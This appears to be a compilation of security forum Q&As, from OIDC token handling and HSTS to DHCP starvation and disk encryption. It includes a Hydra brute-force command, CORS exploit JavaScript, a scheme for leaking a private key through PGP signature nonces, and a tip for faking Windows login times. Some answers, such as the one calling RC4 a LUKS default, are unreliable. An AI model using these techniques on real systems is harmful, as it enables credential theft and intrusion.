You would end up with a complex system that tries to match oidc and your own account system, which I find terrible (correct me if I'm wrong).

3.  Store access tokens in server-side sessions / database to avoid having to repeat calls to the oidc provider at the server-side on every request.

This system seems broken overall. First you're going back to server-side sessions, which is what you don't want. I expect people to refer to this as a 'trade-off', but it totally invalidates the 'stateless approach' and I could just go back to server authentication (which I assume is the point not to).
Not only would you store access tokens on the server (should you really want / need to do that?(?)), you also need an entire flow again in back and forth communication between server and client because stored access tokens will expire, the client needs to refresh / re-initialize the flow, go back etc. None of this makes a lot of sense to me.

After long research online, there doesn't seem to be an established recommendation for this common scenario (probably the most common today) which sort of baffles me.

Is there a common approach that you can recommend and that tackles before-mentioned issues, and explain the 'why' in terms that are non-dubious, non-circumventing the actual question and just clear? Is there a clear argument on why number 1 is not a valid option?
I really don't understand why I'm spending so much time on this simple / common scenario but like to move forward from here instead of running circles.

There is an obvious part that I missed (no idea how I did) and that solves all of my problems.
That is oidc token can be inspected at the server without needing to make an http request to the oidc provider in the backend.
This way state is maintained at the oidc server, the client will perform the heavy lifting for refreshing the token with the provider and the server remains stateless this way.


Reading Wireshark Result and Security Learning Recommendation I am (not so) currently learning about security and right now I am learning about using Wireshark. I bumped into this video:

http://www.wonderhowto.com/how-to-detect-network-intrusions-with-wireshark-and-snort-263020/

and one part that interest me is in min 12.42. It is a site that describes the result in details. The problem is, I couldn't see the address clearly, I also didn't really get the name (if you see the video you'll get what I am trying to say)

My questions are:

Can anyone please help my finding this site (min 12.42)? I've tried basic search like visiting the author's profile and try googling the article itself but still no luck.
Can anyone suggest me a site/reading materials that has a great tutorial about Wireshark result AND noob friendly? I know what things like HTTP, TCP etc. means, but the bottom (hexadecimals?) part of the Wireshark confuses me.
Last but not least, do you have any suggestion of where to learn about security premium-way that is not too expensive (like $100 or so, I'm not rich :P). Of course I can learn about it free in Internet but well, it is not so easy (or maybe it is because I don't have a clear learning method/guidelines). I am NOT expecting to be an expert with $100 (and I know that this is not something we can "buy") but I am hoping that at least it can guide me through the noob stage.

I can't view the video from where I am right now, but I'll help as I can.

There are a lot of resources to learn more about Wireshark. Try the Wireshark University for intro classes (for free as well as paid) and the documentation has some nice resources, too.

Securitytube has videos for this kind of thing, too.

Wanting to learn about 'security' is a pretty wide topic. Search this forum for the 'professional education' tag for lots of resources, and tell us more specifically about what you are interested in for better results.


How "enforcable" are email disclaimers Perhaps a more policy questions, and undoubtedly different in differnet parts of the world, but enterprise email "signatures" often include a snippet simmilar to the following:

  This email and any files transmitted with it are confidential and
  contain privileged or copyright information. If you are not the
  intended recipient you must not copy, distribute or use this email ...

Legally, how enforcable are these disclaimers, could a company force me not to forward an email, etc.  Or would it be that I was informed about the email information nature and henceforth willingly exposed its content (and thus am liable)?

Disclaimer: IANAL. This is not legal advice. I do not even know in which jurisdiction you live.

  This email and any files transmitted with it are confidential and contain privileged or copyright information. If you are not the intended recipient you must not copy, distribute or use this email ...

This is pseudo-legal "salad":

a privileged relation is a very special relation (client-doctor, client-attorney) and protects only specific matters, but these footers are added liberally to every email;
the footer does not even know if it is "privileged", "copyright information"(sic)... the "or" is telling!
an email is copied several time before it can reach the recipient inbox;
it is usually automatically retrieved and saved to disk, possibly in different places;
how can the receiver know if he is the "intended recipient"? (What about "Cc" and "Bcc"?)

For this to have any value:

"confidential information" should only be added to emails that really contain confidential information;
"privileged information" should only be added to emails that really contain privileged information;
the intended recipient(s) should be named.

Otherwise, it provides no information at all to the recipient!

Really, if your lawyer think that indiscriminately adding "confidential" on every document you send is proper behaviour, change lawyer. If your lawyer is a "just in case" kind of guy, ask him if "just in case" was ever useful: is there any case where an email footer mentioning "confidential" or "privileged information", automatically added to every email sent (even the most trivial messages) was successfully used in a court?

But why do people do that? you may ask. Because other people do that. Adults tell children to not be influenced by others, to not take drugs just because other children do, etc. but adults, esp. businessmen, usually try to do exactly what others do, including every possible mistake. (That's why we see investment "bubbles" and other economic aberrations.)


Looking for a presentation about information security for corporate employees I'd appreciate if you could recommend me a presentation the describes the dangers and possible solutions and guidelines, when using the Internet. Specifically, in corporate settings. I would need to change and adapt it to our needs, so it has to have a suitable license, something like CC.

A good example of such a presentation is the one called "Internet Safety at Work", but it is not comprehensive enough for my needs.

This is a hot issue right now and many people write high-quality education programs, so I'm not sure that you are going to find CC licensed options. Add to that the fact that every corporate environment is different (as you indicate), I don't feel like you are going to find something for free that meets your needs.

You ask for 'dangers, and possible solutions and guidelines'. That is WAY too broad. If you broke down what specifically you want your users to know and what behaviours you want to instil, you might find some options that could work. Going through the process of defining that knowledge set and response behaviours would also help you to define a way to measure the effectiveness of your training.


Sniffing TLS / SSL through HSTS? Imagine the following:

Client C wants to communicate with server S. The evil attacker A is the Man-In-The-Middle.

C sends a request to S, A intercepts it. A creates a self-signed certificate with the domain-name of S and sends the certificate to C, while spoofing the Source-IP to the IP of S.

C and A perform the handshake (C thinks that A is S), A can decrypt requests made form A and forwards them to S (via HTTP or HTTPS). S's responds are treated the other way round.

C sees the warning that the certificate is self signed, but who cares, really?

Since the connection between C and A is via SSL, HSTS should not be a problem.

Is this possible? Or am I missing anything?

Once C's browser has established that S is a known HSTS host (either via its preload list or by having previously received a valid Strict-Transport-Security header), self-signed certificates and similar security problems produce errors that the user can't simply click through.

https://tools.ietf.org/html/rfc6797#section-12.1

So the answer to your question "who cares, really?" is "the browser".

Of course, this attack could succeed if C hasn't yet established that S uses HSTS - that is, if this is C's first attempt to connect to S, and S isn't in the browser's preload list.


How can I explain "zero knowledge proof" to an end user? A ZKP allows proof of knowing the answer to a secret, without actually disclosing what that answer is.

Is there any analogy that can help people put this concept into everyday practice?  A "lie to children" example is sufficient.

For example, Diffie–Hellman has the color mixing analogy, and the padlock metaphor.

Is there any real life metaphor, superhero with powers, hero/villain, object, or anything that someone can relate to that would help describe what a ZKP is?

My intent is to convert the winning metaphor into an animation that will play on a mobile device as a ZKP is presented. (one animation on the sender side, one on the receiving side)

I heard this example during one of the guest lectures back in my grad school. I think it is simple enough since I've myself used it many times, to explain ZKP to people with almost Zero Knowledge of crypto/math.

Let's say that I want to convince you that I have a superpower to count the exact number of leaves on a tree, within a few seconds. I want to convince you without actually revealing that exact number and without revealing how my superpower works. I can devise a simple protocol:

I'll close my eyes and will give you a choice to pull off a leaf from that tree. Since it is just a choice, you will either pull it off or you wont. I have no other way of knowing whether you did it or not than quickly counting the leaves again with my superpower. Now when I'll look at the tree, you'll ask me if you actually pulled it off or not.

If I give you a wrong answer, you'll immediately know that my superpower is fake and so is my knowledge. However, if my answer is right, you might think that I just got lucky. In which case we can repeat the above steps. We can keep on repeating these steps to the point where you're satisfied with the fact that I actually posses the superpower and that I know the exact number.


Is SHA1 / PBKDF2-HMAC-SHA1 indissociable from random data? I want to make sure that the result of PBKDF2-HMAC-SHA1 is indissociable from random data (given random parameters). Basically, PBKDF2-HMAC-SHA1 looks like just a bigger SHA-1 hash, which is normal given that the pseudorandom function used is SHA-1 as the name implies.

./pkcs5 -i 1 -s RANDOM_SALT -p RANDOM_PAYLOAD -l 20
c8ddde91936a728445e238badde1ef7e94de5b36

Tool used: dzmitryk / pkcs5.c

Note that it's printed in HEXADECIMAL format so the output really looks like random binary data. Is there any scientific proof that SHA-1 can hardly be differentiated from random data?

& same question for SHA-256.

Why am I asking that?

Because Plain dm-crypt has several disadvantages compared to LUKS:

Password is not changeable without re-encrypting the whole disk
Only one password can be used
The disk encryption key is derived from the password without any salt
A plain dm-crypt partition may coincidentally end up looking like a unencrypted filesystem, and has a chance of being written to accidentally.

But LUKS has one major flaw: it's not deniable. So by trying to reach this deniable goal, people either use USB keys with unencrypted keyfiles (horrible) or detached LUKS header (not deniable if the opponent finds the USB key...). There is something wrong in those approaches.

So I'm trying to keep the best of LUKS header and make an "Ain't NO LUKS" header that would be indissociable from random data (so DENIABLE), containing only:

The LUKS keyslots encrypted key payloads - result of AES so random
The LUKS salts - pure random
The LUKS masterkey digest - result of on PBKDF2-HMAC-SHA1

Everything else (cipher mode, key length, etc.) would use defaults to be hard-coded in GRUB cryptomount command or easily parametrizable from the command-line.

EDIT: Related questions on StackExchange cryptography:

Is the result of HMAC-sha256 distinguishable from random noise?
Statistical properties of hash functions when calculating modulo

Is there any scientific proof, meaning information theoretic secure? No, however there is no known way to distinguish the output of a good cryptographically secure hash from random data of the same length. Someone can probably guess something is SHA-1 if it's 160 bits, because most random-looking chunks of 160 bits tend to be SHA-1 digests, or sometimes RIPEMD-160, but it has nothing at all to do with the content of the digest, only the size.

Note that in the future, there may be new mathematical techniques discovered (invented?) which find a bias in SHA-1 or SHA-256 digests. It could range from so academic as to be almost silly ("after 1091 known plaintexts, then with 1091 operations and 1091 memory, you can calculate what the 6th bit will be with a 0.05% higher probability than chance") to absolutely devastating ("a preimage attack in SHA-256 can be achieved with $5000 worth of consumer hardware and a 300 line C program in a couple weeks"). While obviously the latter is far less likely, they both can happen. We just can't know which it will be, and have no way to predict it. However you can probably rest safe knowing that for the vast majority of randomness distinguishability attacks (the ability to tell when pseudorandom data is not actually random) requires a truly vast number of samples, likely far more than you will ever encrypt in your lifetime.

There are a few exceptions, like RC4 which has a bias in the first few bits, ciphers with a 64 bit block size like Blowfish and CAST5 which show distinguishability after several gigabytes, and block ciphers in xts-plain mode which take a few terabytes of data encrypted with the same key to cause problems, but they are not the rule.

If you are still worried, you should know that the Linux kernel, which is relied on for security in billions of devices all around the world, generates randomness by mixing a pool using SHA-1, and exporting the hash values to /dev/random and /dev/urandom, both of which produce exceptionally high-quality random data. If SHA-1 were not extremely well trusted, it would not be used so ubiquitously (note that SHA-1 running into the end of its life for protecting against collisions in certificates has no effect on its ability to look random). In case you're wondering, there's no security reason it's using hash mixing instead of a stream cipher. It used SHA-1 to get around now-obsolete export restriction laws, and it just stuck. Other systems like OSX and FreeBSD use Yarrow, OpenBSD uses ChaCha20, etc, but SHA-1 is just as secure, as far as we are aware. Just a lot slower to mix!

Why don't you just use TrueCrypt though? It supports plausible deniability, which seems to be what you are after, and both cryptsetup and GRUB2's cryptomount support it. Cryptsetup natively converts it into dm-crypt mappings, just like LUKS.


Is it possible that to sign a message with a PGP key in a way that leakes the key Alice provides a software for signing messages.
The software runs in a airgapped enviroment.

The software is given the message that's to be signed and the private key.
The software then produces a signed signed PGP message with the shows the correct public key. Is it possible that the software hides the private key somewhere in the message signature?

PGP signatures, like most modern signature schemes, are not deterministic: that is, signing the same message twice will not result in the same signature. To do this, a random nonce (number used once) is used. The nonce needs to LOOK random, but there is no way of guaranteeing that it is: you could encrypt some data you want to exfiltrate with a fixed key, and it would be indistinguishable from a proper nonce. The signature would still verify, but someone "in the know" could decrypt the nonce to recover the exfiltrated data.

That being said, nonces aren't usually big enough to hold a full private key. You could easily mitigate this by exfiltrating a random segment of the private key with each message; the recipient could then piece back together the key after seeing enough messages.

Edit to follow up: the naive method described above produces the same signature each time, a dead giveaway. It's pretty easy to fix though. The nonce in a protocol is usually long enough to provide cryptographic strength, which is more than enough to include a few random bits to ensure the malicious signature can't be detected. For example, you could split the nonce in half; the first half could be truly random, and the last half could be a portion of the private key encrypted with using the first half as an IV. As a further improvement, the first byte or so of the exfiltrated data could be used as an offset, showing which piece of the key is being leaked in that message.


What advantages would client-side certificates have over signature based auth such as Oauth2 or HMAC for HTTP Requests? My application currently supports these two authentications methods OAuth2 and HMAC Auth.

OAuth2 https://tools.ietf.org/html/rfc6749
HMAC https://tools.ietf.org/html/draft-cavage-http-signatures-09

We have a request to support client-side certificates for our API infrastructure. I currently don't see any security advantages for using client-side certificates over OAuth2 or HMAC.

Does anyone know what the advantages would be?

From my perspective, client-side certificates just create more overhead for managing the API, by requiring PKI infrastructure to issue and revoke certificates.

Windows has a pretty good story for the management of certificates and private keys with the certificate store and key store.  Many (most? all?) cloud services have a pretty good story for the transportation of certificates so they can be used for SSL/TLS.  I don't know of any particularly good management for HMAC keys (the closest thing being a general settings transportation system).

Certificates have enough metadata that a system/service admin/(dev)op can see which one is being used to help diagnose why something isn't working, and it can be done on the non-sensitive portion of the data (the public key).  An HMAC key, on the other hand, either has to be revealed in its entirety and compared byte by byte (or hex nybble by hex nybble, etc) or have some form of hashing applied to it to obfuscate the value but still allow the value to be compared across machines.

These reasons, mainly, are about "ease of management" on the part of the client.  Being able to be used correctly is an important aspect for security, but it's a less obvious one.  You still need to have an appropriate registration model for the certificates, either by using your own CA to control subject naming (which requires revocation as a cancellation mechanism) or by storing the certificate (or public key) the same way you would have stored their HMAC key (which can avoid the need for revocation)... you want to only let the appropriate certificates authenticate a particular user.

Windows private key management allows for applications to use the key without being able to export it, meaning that system operators that only have access to running instances can't then act as the system at home.  An HMAC key has the problem that "use it" and "exfiltrate it" are the same permission.  This is an operational security problem.  An overly loggy client application can easily get itself in trouble with logging the HMAC key; but for a cert it would require a) the private key permissions to allow exporting the key material and b) someone going out of their way to move the key object into a loggable form.

Oh, and client auth certificates can also have their private keys on an HSM, making exfiltration even harder, and depending on what your API allows some of your callers may feel that they need HSM security.

So: mostly ease of management, and a couple of op-sec reasons.


Has anyone achieved PCI compliance on AWS? All the FAQs, documents and statements published by AWS aside, did any Level 1 merchant or service provider actually achieve PCI compliance on AWS yet? We're evaluating moving some of our services to EC2/VPC, but our auditor is saying that AWS hadn't been cooperative when their other clients were trying to achieve compliance and had to go to Rackspace instead. The issues they ran into were,

AWS isn't providing itemized list of controls assessed in AWS' own PCI audit, making it impossible for auditor to mark which items are covered off by AWS and which are the responsibility of the client
AWS isn't clarifying how the hypervisor was assessed and which tests were performed to ensure tenant isolation

Amazon does have a Type II SAS 70 report. Requesting a detailed copy of that should show all the controls they have in place. It may that people are asking Amazon the wrong questions. As a quick note, the SAS 70 testing in the future will be referred to as an SOC -- one of those accounting industry quirks.

Especially with an Amazon-sized company, one looks at the report, sees that it is reasonable, and declares that they have done due-diligence. In very vague terms, Amazon and their PCI auditor then have some sort of fiduciary duty in the case of a whoopsie-daisy on their part.

See also:

http://securosis.com/blog/what-amazon-awss-pci-compliance-means-to-you
http://aws.amazon.com/security/pci-dss-level-1-compliance-faqs

Update: The relevant control objective for you as a client is this: 2.4 Hosting providers must protect
each entity’s hosted environment and
data. These providers must meet
specific requirements as detailed in
Appendix A: “PCI DSS Applicability for
Hosting Providers.”

At least in my interpretation, Amazon principally has to deal with the four controls specified in A.1. There are many others that don't matter, and some that do. I don't know what your auditor is able to get, but as I understand without documentation in front of me: Amazon has passed without remark. That means they have been independently reviewed to meet all those objectives. With that in mind, the rest of the burden is on your company to meet everything else that's relevant to what is inside the instance.

Auditors aren't always right. You may find it worthwhile to engage another auditor. You may find I'm wrong (though I'm confident I've got this). At least you don't have this: https://serverfault.com/questions/293217/our-security-auditor-is-an-idiot-how-do-i-give-him-the-information-he-wants


DHCP Starvation attack The client and the DHCP server exchange four messages (Discover, Offer, Request and Acknowledge) before reaching agreement on leasing a certain IP address for a certain time. On the other hand, the attack consists of spoofing DHCP Discover packets with forged MAC addresses. The server would then offer an IP address/a range of IP addresses to the client and awaits for a request.

My understanding of this process says that although the server suggests an IP address, it does not allocate it for the client until sending him the Acknowledgement message. Therefore there will be no exhaustion of DHCP IP addresses due to those forged Discover messages. Thus, the attack does not make sense for me. Could anyone please clarify this to me?

DHCP servers will allocate the IP given in the offer temporarily to negate race conditions. Assume two clients ask for an IP in the same time period, the server must give each client a different address, if it doesn't put aside the first client's IP it might give the second client the same IP causing a collision.
So when offering the server locks the address offered until a timeout or until the DHCP transaction has ended.


XMLHttpRequest with preflighted CORS missing authorization token I have a follow-up question to this older question:
How to exploit a misconfigured CORS policy when a per user authorization token is required?

According to Mozilla's documentation, the Access-Control-Allow-Credentials should be able to transport tokens such as Authorization headers because "Credentials are cookies, authorization headers or TLS client certificates."

However, when I attempt the following exploit, I can't seem to get any browsers to forward the token.

I'm attempting to perform the following cross domain request from https://my.domain/:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('GET','https://api.external.domain/',true);
req.withCredentials = "true";
req.setRequestHeader('authorization','');
req.setRequestHeader('cache-control','no-cache');
req.setRequestHeader('content-type','application/json');
req.send('{}');

function reqListener()
{
    alert(this.responseText);
};

The request is preflighted (OPTIONS method) and the API responds with:

HTTP/1.1 200 OK
Access-Control-Expose-Headers: APIm-Debug-Trans-Id, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-Global-Transaction-ID
Access-Control-Allow-Headers: authorization,cache-control,content-type,pragma
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://my.domain/

So far so good. Now the browser immediately follows up with a GET request but for this request to succeed I need it to include the header:

Authorization: bearer [redacted]

But the client's browser apparently can't access this token (?) even though I am authenticated to the API. Is there any way to grab this token from somewhere? I can't seem to find it in the browser's local storage and it's not a cookie value either.

However, when I attempt the following exploit, I can't seem to get any browsers to forward the token.

Given that nothing in your code actually sets the Authorization header it looks like that you are assuming that the header gets automatically set by the browser based on cached credentials, i.e. similar to cookies.

But, such caching is only done for authentication credentials entered by the user in case of basic or digest authentication. If some script in the site instead explicitly sets the Authorization header for a specific XHR no caching of the credentials will be done and therefore also no automatic setting of the Authorization header from cached credentials.


How to interpret the attempt information from Hydra I was performing a Hydra attack on my TP-Link router and for that I prepared a passwords.txt  file with 288 passwords.

hydra -l webadmin -P test_creds/passwords.txt xxx.xxx.xxx.xxx ftp

A minute after I set Hydra off it showed me the following message:

[STATUS] 405.00 tries/min, 405 tries in 00:01h, 18446744073709551500 todo in 5124095576030430:60h

What I don't understand is what 405 tries in 00:01h and 18446744073709551500 todo in 5124095576030430:60h mean. As I understand it, Hydra is telling me that it's about to make 5124095576030430 login attempts in 60 hours. But mathematically speaking when you combine 288 passwords with 1 username you get a total of 288 * 1 credentials and if, as shown in it's first output, it is attempting 405.00 tries/min it should only take around 43 seconds to try all of them. Now, that's not what's happening. So what do those numbers mean?

You are misinterpreting the output.

5124095576030430:60h is not a ratio of tries to the number of hours. That's the number of hours it is going to take.

The number of tries is plainly explained:

18446744073709551500 in 5124095576030430:60h

If you are expecting only 288 attempts, then it looks like you have misconfigured your command.


Pitfalls when rolling your own "show password" functionality I'm considering emulating the "Show password" functionality, available in some newer browsers, on a website, essentially as a polyfill for browsers which don't. The common way to do this is to call a JavaScript function which toggles the input type between password and text, but given that it's password data, I'm wary of this.

Does placing a plaintext password in a text input run the risk of the password being scraped by malicious plugins?
Specifically, do modern browsers implement any security mechanisms around password-type inputs besides the visual obfuscation using dots?
Does the above link reflect the current industry best practice for this kind of functionality?

Does placing a plaintext password in a text input run the risk of the password being scraped by malicious plugins?

Malicious plugins can scrape any form data, password fields included, or even log it before it is being written. So changing the type makes no difference here.

In general, there is no point in trying to defend against malicious browser plugins. If your user has one, it's game over.

  Specifically, do modern browsers implement any security mechanisms around password-type inputs besides the visual obfuscation using dots?

Password fields have autocomplete turned off by default. To prevent the browser from saving the password and potentially leaking them as suggestions later, you must make sure to explicitly set autocomplete="off" on the input field. This should deal with both suggestions while typing, and autofilling previous state e.g. when using the back button.

There might be older browsers who ignores autocomplete="off" - who knows, browsers used to do all sorts of stupid things - but I doubt that is a large percentage. Still, could be an issue.

The presence of a password field makes some browsers warn more aggressively about unencrypted connections. So using text fields instead could mute the warnings, which is bad. But if you are using TLS with HSTS that shouldn't be an issue.

Also, it might mess with password managers (both the browsers built in, and external). But that is more a usability than a security issue.

  Does the above link reflect the current industry best practice for this kind of functionality?

Aside from the autocomplete issue, I think this would be fine as long as you are OK with the inherent risk of shoulder surfing. Who knows what I have overlooked, though.

Since you say "industry best practice" I have to mention that manipulating the DOM directly like that isn't really how it's usually done anymore, but that has nothing to do with security.

To be honest though, I have to admit that I am no big fan of this functionality. It feels a bit hacky. I would recommend against implementing it unless you have very specific reasons to do so. That is based more on my gut feeling (and a general aversion to non essential features) than anything else, though.


Can mprotect() be used to change the permissions of .rodata? The .rodata section in ELF files contains parts of the text segment that are not meant to be changed. By default, all pages from this section are read-only, and any attempt at modification will trigger a general protection fault. The Linux syscall mprotect() is capable of modifying the access permissions on a per-page basis. I am wondering if the read-only nature of .rodata is enforced by the kernel such that syscalls like that cannot change its access permissions, or if the kernel simply sets the default permissions for the page. If the former is true, then the read-only data segment can be relied upon to prevent even a compromised program from modifying it at runtime.

Does the Linux kernel enforce the read-only nature of .rodata?

Sections do not exist in the context of a running process, only segments.
mprotect can be used to change the permissions of the pages the text segment is mapped to. Here is a tutorial on how to accomplish this: Writing a Self-Mutating x86_64 C Program
from the notes on the mprotect manual page:

  On Linux it is always permissible to call mprotect() on any address in a process's address space (except for the kernel vsyscall area). In particular it can be used to change existing code mappings to be writable.

Section information is stored in the section header table. The section header table is an array of section headers. The section header table is not mapped to any segment, and not parsed by the program loader. The loader uses segment information only when mapping a program into virtual memory.

Segments - not sections - have permissions, and these are stored in the   segment's program header in the p_flags field. Program headers reside in the binary's program header table.

All of this is documented in chapters 4 and 5 in the System V ABI (generic).

In the output below, we can see the permissions associated with each segment under the flags column:

$ readelf -l /bin/ls

Elf file type is EXEC (Executable file)
Entry point 0x404890
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000019d44 0x0000000000019d44  R E    200000
  LOAD           0x0000000000019df0 0x0000000000619df0 0x0000000000619df0
                 0x0000000000000804 0x0000000000001570  RW     200000
  DYNAMIC        0x0000000000019e08 0x0000000000619e08 0x0000000000619e08
                 0x00000000000001f0 0x00000000000001f0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x000000000001701c 0x000000000041701c 0x000000000041701c
                 0x000000000000072c 0x000000000000072c  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000019df0 0x0000000000619df0 0x0000000000619df0
                 0x0000000000000210 0x0000000000000210  R      1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

  The .rodata section in ELF files contains parts of the text segment that are not meant to be changed.

This is false. The entire text segment is Read/Execute.

  By default, all pages from this section are read-only, and any attempt at modification will trigger a general protection fault.

This is false. Segments, not sections,  are mapped to pages (hence the Align values) and have permissions (hence the Flags values).

More info can be found here:

http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory/
https://lwn.net/Articles/631631/
http://nairobi-embedded.org/040_elf_sec_seg_vma_mappings.html#section-segment-vma-mappings


Is there any digital communication medium that provided close-to-perfect security? Problem
When I browse this forum, I constantly read about the weaknesses of popular "secure" messaging applications such as Signal, Telegram, and WhatsApp.
Some of the most notable critiques regarding their design and operation are:

Phone number requirement. Privacy is fundamentally compromised by necessitating users provide a phone number as it links their virtual profiles to an easily traceable mechanism (via phone billing) should the servers be compromised.

Loss of control over keys. It is possible for malicious third parties, or powerful arms of governments, to obtain access over their servers private keys - thereby compromising the entire network.

Loss of control over servers. Should the founders or operators of such systems remain stubborn against the threat of subpoena, the servers themselves can be reprogrammed to send doctored versions of Javascript/APKs to certain users that downgrade their secure transmission into plain transmission.

Question
Is this all fear mongering from a forum over unrealistic attack vectors? Or are these genuine plausible ways to compromise the aforementioned messaging applications.
Are there any realistic and accessible ways for the average person to communicate with one and another over the internet that insures close-to-perfect security? A medium that provides anonymity on top of the usual privacy, authenticity and integrity?
*Anonymity as defined as being implausible to map the identities of a sender & receiver to their respective real-world identities. In other words, the only way for a participant's identity to be leaked is if their counterpart already knew their identity beforehand and is compromised.

I constantly read about the weaknesses of popular "secure" messaging applications such as Signal, Telegram, and WhatsApp.

These are all commercial products. They exist to generate income for the people who develop and maintain these services. An element of privacy/secrecy exists to facilitate this. But the financial requirement undermines the security objective. They operate as legitimate organizations within jurisdictions which are under pressure to support some levels of transparency. They must maintain their customers to operating within the boundaries they define (or lose them to competitors). They must make their products simple to use or lose business.
PGP encrypted email TOR comes close to your requirement.


Security implications of reusing unused One-Time Password Scenario:

Login to site (using 2SV).
One-Time Password (OTP) is sent to client's device.
Client won't finish authentication process.
On the next day (let's say after 24h) users logins to site again.
OTP generated yesterday is still valid (it was re-sent to the client's device).

As far as I understand, with time-based OTP (TOTP) this shouldn't ever happen, if the implementation is correct. Questions:

Is this a valid approach for HMAC based OTP schemes, or does this scenario indicate a mistake in the implementation (i.e. counter should increase after subsequent login)?
If the scenario is not considered secure, what are the security implications?

RFC 4226 was defined way before google formed the idiom of "two step verification". Two step verification does not necessarily has to do anything with HOTP or TOTP. Of course you can use HOTP to create "non-guessable" codes, but it is not necessary.

Your service could simply remember which code was sent to the user.

In any case you should:

create a code for each login attempt and
the code (even with HOTP) should only be valid for a certain time.

The implementation in privacyidea does it this way. It can send codes via text message or email to the user. These codes are calculated based on HOTP. But the codes are only valid for a certain amount of time.
And the code is only valid for this very login session.

The question is, if the code residing in the smartphone or the email account is probably though to be more vulnerable. A dedicated attacker probably would not care if the code is on the mobile phone for 30 seconds or for 30 hours. But ask yourself. I would feel uncomfortable carrying around my smartphone, knowing that there is a code in it, that still can be used to login to any of my accounts. Sometimes the smartphone is not locked, or a malware could be installed just in this time - after receiving the code and before using the code. There are additional attack vectors. So you should invalidate the code after a few minutes.


Should all web applications implement a security feature that stores historical passwords? In addition to Is it safe to store a password hash history for preventing user to keep same password repeatedly in some cases?.

Facebook, and other companies, are storing historical passwords of users. When you want to change a password to a previously used password, it gets rejected. This seems desirable to me because a password can be leaked (in combination with a username or email address) and that combination might have became insecure.

Nevertheless, I wonder if it is desirable that companies like Facebook store all our historical passwords (hopefully strongly hashed, salted and stretched and not encrypted like Adobe once did).

Shortly:

Should all web applications implement such a security feature?
Is it desirable that companies store our historical passwords?
How long are you allowed to store/archive such information or how many recently used passwords are allowed or recommended to store?

To answer your questions:

  Should all web applications implement such a security feature?

This is just another good security feature to help the user so if the application can afford (resources not financially) to have this implanted in their system there is no reason not to.

  Is it desirable that companies store our historical passwords?

Since most users in our days do not understand the importance of not having the same password added with a 123 when changing the password, this is important to force them to change the password to something different so increase security.

  How long are you allowed to store/archive such information or how many recently used passwords are allowed or recommended to store?

Forever. Why do I say this?

If an attacker wants to hack a specific user he will be looking for OSint about the user all over the place and he might even try a password that was used years back by the same user. And since users tend to use the same passwords over and over again this is not good.


How save, on a log file, all IP inbound/outbound connected to my Mac under MacOsX 10.9.5? During its operation, the computer connects and disconnects to and from numerous servers - which are identified by a specific IP address.

Is there a solution to trace the ip addresses of all the input / output connections that occur every day with relative date and time and quantity of packets sent or received and saving them automatically on a log?

I know that there are products like WireShark that provide every single byte of each package, but I'm interested only in knowing the IP addresses that generated transactions.

A log file of connections can easily be generated by a logging rule for your packet filter of choice on a Unix system.

For Mac OS, I think that is ipfw.

Feel free to chose a tutorial of your liking on how to configure ipfw to generate the logs you specifically want - or ask a more refined question that details what exactly you want to have logged over at SU or another more appropriate stack exchange site that focuses on application questions like Unix or Mac OS.


Altering variable in a php file on a web server The following is an excerpt of a PHP script within a HTML file.
I would like to be able to alter the variable when I am being served the HTML file. Is there anyway to do so? Most vulnerabilities i found online are exploits for $_GET.

if (isset ($_POST['variable']))
{$temp = $_POST['variable'];
if (strlen($temp) == 20)
{
 ....
} else echo "Failed";
...
}

$_POST is just as vulnerable as $_GET. If this variable is not being sanitised and/or validated later in this script then you can manipulate it however you like.


Debian encryption is as safe as Truecrypt. Is this correct? When I try to install latest debian to my pc, the wizard ask me to input
a password to do FDE(full disk encryption).

My questions are:

What algorithm does Debian use? (Truecrypt = AES)
Can I change a password after install?
Is this really safe? I mean, FBI failed to crack Truecrypt.  Can the FBI crack Debian or not?
Does Debian really encrypt ALL of the DISK? (Truecrypt can do it)

I would like to read a proof, but unfortunately I can't find one.
Answers with details(source) will be appreciated.

Ubuntu is Debian based so this post might be relevant.  Also I believe the default program for Debian is LUKS

I believe you have an option of which algorithms to use.  I believe RC4/AES with SHA256 is standard.
How to re-encrypt disk with different password (standard Debian)
How secure is LUKS? | A look at LUKS disk encryption
Yes the entire drive is encrypted.  This is done by setting up the FDE upon installation of the operating system.  The bootloader will see the encrypted disk and ask for a password to load the operating system.

Most Debian distributions will provide an "alternate" installation, which usually entails a USB or CD installation.  This method allows for the installation of a Debian distro from an outside source, and should give an option to setup FDE.

HowTo: Setup LUKS (after OS installation)


Is it possible to modify the last time a user logged into Windows? On my digital forensics course I need to analyze an image and look for evidences to ask a couple of questions. One question was to find out when was the system installed, and another one was to find out when X user logged in last time.

Then there is another question that asks whether there is anything wrong with those dates, and why? Indeed there is something wrong, and it's that the last time the user logged in was before the system was installed.

So my question is, is it possible to change the last login time? If so... how?

PS: the image is of Windows XP.

It is possible when Windows logs the login event in the event viewer, it takes the login time from the system clock set.

So a user could adjust the time and date then log back into the system which would log the event using the changed time/date, then then clock could be adjusted back to the correct time/date. this would show the last login as anything the user wanted.


